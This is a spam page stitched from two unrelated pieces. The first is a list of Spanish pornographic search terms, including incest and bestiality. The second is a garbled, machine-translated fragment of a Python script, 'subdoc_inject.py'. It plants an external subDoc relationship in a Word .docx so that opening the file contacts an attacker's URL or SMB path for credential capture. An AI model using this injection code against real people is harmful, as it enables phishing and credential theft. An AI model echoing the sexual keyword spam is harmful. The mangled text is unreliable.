sexo romantico incestos lesbicos
viejas zoofilia travestis españolas
follar abuelas maduras a cuatro patas
pornografia gratis sexso
familia española follando se la chupa mientras duerme
madres incestuosas porno gratis abuelos
videos heroticos videos porno xxx incesto
supertetas tragando semen xxx
videos x incesto jovencitos follando con maduras
videos incesto online xxporn
mujeres fornicando padre se folla a su hija
pormo lesbianas maduras españolas
porno casero real español porno guey
mamasxxx shakira follando
incesto retro sexo guarro
se follan a su mujer maduras enculadas
taboo.com viejas feas
pornoo sexo gratis incesto
corriendose dentro putas en vic
maduras sensuales descargar peliculas porno español
filename] continue # Daca este marcat pentru inlocuire, copiati temp_file, in loc de fisierul vechi, inlocuirea elif nu este Niciuna: del self._replace . filename) zip_write.writestr (item, data) # Inlocuiti arhiva cu cea actualizata shutil.move (temp_zip_path, self.filename) in cele din urma: shutil.rmtree (tempdir) def analyzoc (infile): incercati: cu ZipFile (infile) ca arc: daca arc.namelist () .__ contine __ (‘word / _rels / settings.xml.rels’): print (“[+] word / _rels / settings.xml.rels descoperit.”) cu arc.open (‘word /_rels/settings.xml.rels ‘) ca fr: doc = xmltodict.parse (fr.read ()) if doc.has_key (‘Relatii’): if doc [‘Relationships’] [‘Relationship’]. has_key (‘@ Id’): if doc [‘Relationships’] [‘Relationship’ ] [‘@ Id’] == ‘rId1337’: print (“[!] Se confirma injectia de pescar.”) TURL = doc [‘Relationships’] [‘Relationship’] [‘@ Target’] print (“[!] Adresa URL tinta: {} “. Format (tURL)) else: print (” [!] Relatia descoperita este {} “. Format (doc [‘Relationships’] [‘Relationship’] [‘@ Id’])) daca doc [‘Relationships’] [‘Relationship’]. Has_key (‘@ Target’): tURL = doc [‘Relationships’] [‘Relationship’] [‘@ Target’] print (“[!] URL tinta: {}” .format (tURL)) returneaza True cu exceptia (KeyError): trece cu exceptia (IOError): print (“[-] {}: Nu exista un astfel de fisier”.format (infile)) raise SystemExit return False def infectDoc (goodocx, badocx, url, identificator, reinfect = False): tempdir = tempfile.mkdtemp () temp_zip_path = os.path.join (tempdir, ‘temp.docx’) shutil. copiati (goodocx, badocx) daca reinfectati: cu ZipFile (badocx) ca arc: cu arc.open (‘word / settings.xml’) ca fr: docx = fr.read () oldid = docx.split (‘r: id = ‘) [1] .split (‘ “‘) [1] print (” [*] Inlocuirea vechiului ID ({}) cu rId {} “. Format (oldid, identificator)) settingsxml = docx.replace (oldid, “rId {}”. format (identificator)) altceva: cu ZipFile (badocx) ca arc: cu arc.open (‘word / settings.xml’) ca fr: docx = fr.read () closepos = docx.index ( ‘/>’) prepos = docx [: closepos] editpos = ‘/> <w: p> <w: subDoc r: id = “rId {}” /> </ w: p>’. format (identificator) postpos = docx [closepos:] settingsxml = “{} {} {}”. format (prepos, editpos, postpos) cu UpdateableZipFile (badocx, “a”) ca inj: inj.writestr (“word / settings.xml”, settingsxml) inj.writestr ( “word / _rels / settings.xml.rels”, SETRELS.format (identificator, url)) print (“[*] {} a fost injectat si rezultatul este: {}”. format (goodocx, badocx)) def main ( ): try: # Configure argument parser parser = argparse.ArgumentParser (prog = ‘subdoc_inject.py’, description = ‘Injectare cereri externe subdoc (SMB) [SE]’, epilog = ‘Numai in scopuri educationale. @ hxmonsegur // RSL ‘, formatter_class = argparse.ArgumentDefaultsHelpFormatter) parser.add_argument (‘ – i ‘,’ –infile ‘, help =’ docx File to inject ‘) parser.add_argument (‘ – o ‘,’ –outfile ‘, help =’ Numele fisierului fisierului dupa injectie ‘) analizor.add_argument (‘- u’, ‘–url’, help = ‘Domeniul a indicat serverul HTTP_AUTH. ex. https://domain.com/docs/target-UUID’) parser.add_argument (‘- d’, ‘- identificator ‘, help =’ Identificator document ‘, implicit = 100) # Parse argumente incearca: args = parser.parse_args () cu exceptia: # parser.print_help () print (“[-] Va rugam sa consultati -h | –help pentru ajutor “) creste SystemExit daca len (sys.argv) <2: parser.print_help () ridica SystemExit daca args.infile si args.outfile: daca nu args.url: print (” [!] Va rugam sa specificati calea de ascultare UNC prin – u | –url “) raise SystemExit print (” [+] Infecting {} “. format (args.infile)) infectDoc (args.infile, args.outfile, args.url, args.identifier, False) cu exceptia (KeyboardInterrupt ): print (“[!!] Programul a fost intrerupt (ctrl + c). Iesirea …”) ridicati SystemExit daca __name__ == “__main__ “: main ()








